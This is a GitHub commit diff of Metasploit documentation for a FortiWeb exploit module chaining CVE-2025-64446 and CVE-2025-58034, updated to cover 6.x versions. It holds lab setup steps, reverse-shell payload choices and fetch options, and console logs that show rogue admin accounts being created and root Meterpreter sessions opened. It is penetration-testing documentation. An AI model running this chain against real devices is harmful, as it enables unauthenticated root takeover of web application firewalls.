Skip to content

Commit caa6722

Browse files
bwatters-r7bwatters-r7
authored
Merge pull request #20736 from sfewer-r7/fortiweb-exploit-rce-v6-support
Update the FortiWeb exploit module (CVE-2025-64446 + CVE-2025-58034) to target older unsupported versions 6.x
2 parents 0e71557 + 795c38c commit caa6722

File tree

2 files changed

+329
-34
lines changed

2 files changed

+329
-34
lines changed

‎documentation/modules/exploit/linux/http/fortinet_fortiweb_rce.md‎

Lines changed: 152 additions & 9 deletions
Original file line numberDiff line numberDiff line change
@@ -20,6 +20,10 @@ slightly different when compared to the patch versions for `CVE-2025-64446`:
2020
* FortiWeb `7.2.0` through `7.2.11` (Patched in `7.2.12` and above)
2121
* FortiWeb `7.0.0` through `7.0.11` (Patched in `7.0.12` and above)
2222

23+
Note: Unsupported versions `6.*` are also affected.
24+
25+
This exploit module has been confirmed to work against `8.0.1`, `7.4.8`, `6.4.3`, and `6.3.9`.
26+
2327
## Testing
2428
Download a suitable FortiWeb-VM image and create a new VM. When creating the VM, assign the first network interface to a
2529
network you can target later (e.g. your external network), optionally, assign the second network interface to a private
@@ -39,6 +43,22 @@ FortiWeb (port1) # end
3943
FortiWeb #
4044
```
4145

46+
A default gateway (for example `192.168.86.1`) can be configured as follows:
47+
48+
```
49+
FortiWeb # config router static
50+
51+
FortiWeb (static) # edit 0
52+
53+
FortiWeb (1) # set gateway 192.168.86.1
54+
55+
FortiWeb (1) # set device port1
56+
57+
FortiWeb (1) # end
58+
59+
FortiWeb #
60+
```
61+
4262
You should now be able to access the management interface via HTTPS, e.g. `https://192.168.86.200/login`.
4363

4464
## Options
@@ -72,25 +92,30 @@ Configure the target:
7292
3. `set RHOST <TARGET_IP_ADDRESS>`
7393
4. `set RPORT <TARGET_HTTP_OR_HTTPS_PORT>` (If different from the default of 443)
7494
5. `set SSL true` (Or set to false if targeting HTTP)
95+
6. `set target 0` (Target `0` is against FortiWeb `8.*` devices, and Target `1` is against FortiWeb `7.*` and `6.*` devices)
7596

7697
Configure the payload to execute:
7798

78-
6. `set PAYLOAD cmd/unix/reverse_bash`
79-
7. `set RHOST eth0`
80-
8. `set RPORT 4444`
99+
7. `set PAYLOAD cmd/unix/reverse_bash`
100+
8. `set RHOST eth0`
101+
9. `set RPORT 4444`
81102

82-
_Note: only these payloads have been verified to work:_
103+
_Note_: These payloads have been verified to work against FortiWeb versions `8.*`:
83104
* `cmd/unix/reverse_bash`
84105
* `cmd/unix/reverse_openssl`
85106

107+
If targeting FortiWeb `7.*` or `6.*`, these payloads have been verified to work:
108+
* `cmd/unix/reverse_bash`
109+
* `cmd/linux/http/x64/meterpreter_reverse_tcp`
110+
86111
Run the module:
87112

88-
9. `check`
89-
10. `exploit`
113+
10. `check`
114+
11. `exploit`
90115

91116
## Scenarios
92117

93-
### Example 1 (CVE-2025-64446 + CVE-2025-58034)
118+
### Example 1 (CVE-2025-64446 + CVE-2025-58034, against FortiWeb 8.0.1)
94119

95120
In this example, `CVE-2025-64446` is used to create a new admin account and then `CVE-2025-58034` is used
96121
to execute a payload. This chain gives unauthenticated RCE and is the default operation of the exploit module.
@@ -128,7 +153,7 @@ Exploit target:
128153
129154
Id Name
130155
-- ----
131-
0 Default
156+
0 FortiWeb 8.x
132157
133158
134159
@@ -144,6 +169,7 @@ msf exploit(linux/http/fortinet_fortiweb_rce) > exploit
144169
[+] New admin account successfully created: isela_fritsch:LpWXiFof
145170
[*] Logging in...
146171
[+] Successfully logged in as isela_fritsch
172+
[+] Detected target version: 8.0.1
147173
[*] Executing payload via CVE-2025-58034...
148174
[*] Uploading bootstrap payload chunk 1 of 4...
149175
[*] Uploading bootstrap payload chunk 2 of 4...
@@ -164,7 +190,7 @@ exit
164190
[*] 192.168.86.202 - Command shell session 1 closed.
165191
```
166192

167-
### Example 2 (CVE-2025-58034)
193+
### Example 2 (CVE-2025-58034, against FortiWeb 8.0.1)
168194

169195
In this example, the attacker has existing admin credentials, so only `CVE-2025-58034` is used
170196
to execute a payload.
@@ -181,6 +207,7 @@ msf exploit(linux/http/fortinet_fortiweb_rce) > exploit
181207
[+] Using existing admin credentials: hax0r:hax0r
182208
[*] Logging in...
183209
[+] Successfully logged in as hax0r
210+
[+] Detected target version: 8.0.1
184211
[*] Executing payload via CVE-2025-58034...
185212
[*] Uploading bootstrap payload chunk 1 of 4...
186213
[*] Uploading bootstrap payload chunk 2 of 4...
@@ -200,3 +227,119 @@ cat /VERSION
200227
exit
201228
[*] 192.168.86.202 - Command shell session 2 closed.
202229
```
230+
231+
### Example 3 (CVE-2025-64446 + CVE-2025-58034, against FortiWeb 6.3.9)
232+
233+
In this example we are targeting an older unsupported version of FortiWeb, `6.3.9`. To do this we must change the
234+
exploit target from `0` to `1`, and choose either a Linux or a Unix payload.
235+
236+
```
237+
msf exploit(linux/http/fortinet_fortiweb_rce) > show targets
238+
239+
Exploit targets:
240+
=================
241+
242+
Id Name
243+
-- ----
244+
=> 0 FortiWeb 8.x
245+
1 FortiWeb 7.x and 6.x
246+
247+
248+
msf exploit(linux/http/fortinet_fortiweb_rce) > set target 1
249+
target => 1
250+
msf exploit(linux/http/fortinet_fortiweb_rce) > set PAYLOAD cmd/linux/http/x64/meterpreter_reverse_tcp
251+
PAYLOAD => cmd/linux/http/x64/meterpreter_reverse_tcp
252+
msf exploit(linux/http/fortinet_fortiweb_rce) > set RHOST 192.168.86.204
253+
RHOST => 192.168.86.204
254+
msf exploit(linux/http/fortinet_fortiweb_rce) > show options
255+
256+
Module options (exploit/linux/http/fortinet_fortiweb_rce):
257+
258+
Name Current Setting Required Description
259+
---- --------------- -------- -----------
260+
Proxies no A proxy chain of format type:host:port[,type:host:port][...]. Supported proxies: sapni, http, socks4, socks5, socks5h
261+
RHOSTS 192.168.86.204 yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
262+
RPORT 443 yes The target port (TCP)
263+
SSL true no Negotiate SSL/TLS for outgoing connections
264+
TARGETURI / yes Base path
265+
VHOST no HTTP server virtual host
266+
267+
268+
Payload options (cmd/linux/http/x64/meterpreter_reverse_tcp):
269+
270+
Name Current Setting Required Description
271+
---- --------------- -------- -----------
272+
FETCH_COMMAND CURL yes Command to fetch payload (Accepted: CURL, FTP, GET, TFTP, TNFTP, WGET)
273+
FETCH_DELETE true yes Attempt to delete the binary after execution
274+
FETCH_FILELESS none yes Attempt to run payload without touching disk by using anonymous handles, requires Linux ≥3.17 (for Python variant al
275+
so Python ≥3.8 (Accepted: none, bash, python3.8+)
276+
FETCH_SRVHOST no Local IP to use for serving payload
277+
FETCH_SRVPORT 8080 yes Local port to use for serving payload
278+
FETCH_URIPATH no Local URI to use for serving payload
279+
LHOST eth0 yes The listen address (an interface may be specified)
280+
LPORT 4444 yes The listen port
281+
282+
283+
When FETCH_COMMAND is one of CURL,GET,WGET:
284+
285+
Name Current Setting Required Description
286+
---- --------------- -------- -----------
287+
FETCH_PIPE false yes Host both the binary payload and the command so it can be piped directly to the shell.
288+
289+
290+
When FETCH_FILELESS is none:
291+
292+
Name Current Setting Required Description
293+
---- --------------- -------- -----------
294+
FETCH_FILENAME HxxLnwIWgkV no Name to use on remote system when storing payload; cannot contain spaces or slashes
295+
FETCH_WRITABLE_DIR /tmp yes Remote writable dir to store payload; cannot contain spaces
296+
297+
298+
Exploit target:
299+
300+
Id Name
301+
-- ----
302+
1 FortiWeb 7.x and 6.x
303+
304+
305+
306+
View the full module info with the info, or info -d command.
307+
308+
msf exploit(linux/http/fortinet_fortiweb_rce) > exploit
309+
[*] Started reverse TCP handler on 192.168.86.122:4444
310+
[*] Running automatic check ("set AutoCheck false" to disable)
311+
[+] The target appears to be vulnerable.
312+
[*] Creating a new admin account via CVE-2025-64446...
313+
[+] New admin account successfully created: oren_hessel:BtNLqzMt
314+
[*] Logging in...
315+
[+] Successfully logged in as oren_hessel
316+
[+] Detected target version: 6.3.9
317+
[*] Executing payload via CVE-2025-58034...
318+
[*] Uploading bootstrap payload chunk 1 of 7...
319+
[*] Uploading bootstrap payload chunk 2 of 7...
320+
[*] Uploading bootstrap payload chunk 3 of 7...
321+
[*] Uploading bootstrap payload chunk 4 of 7...
322+
[*] Uploading bootstrap payload chunk 5 of 7...
323+
[*] Uploading bootstrap payload chunk 6 of 7...
324+
[*] Amalgamating bootstrap payload chunks...
325+
[*] Executing bootstrap payload...
326+
[+] Finished.
327+
[*] Meterpreter session 4 opened (192.168.86.122:4444 -> 192.168.86.204:23094) at 2025-11-27 12:17:30 +0000
328+
329+
meterpreter > getuid
330+
Server username: root
331+
meterpreter > sysinfo
332+
Computer : 192.168.86.204
333+
OS : (Linux 5.4.0)
334+
Architecture : x64
335+
BuildTuple : x86_64-linux-musl
336+
Meterpreter : x64/linux
337+
meterpreter > shell
338+
Process 9873 created.
339+
Channel 1 created.
340+
id
341+
uid=0(root) gid=0
342+
cli admin console
343+
FortiWeb # get system status
344+
International Version: FortiWeb-HyperV 6.39,build1117(GA),201125
345+
```

0 commit comments

Comments
 (0)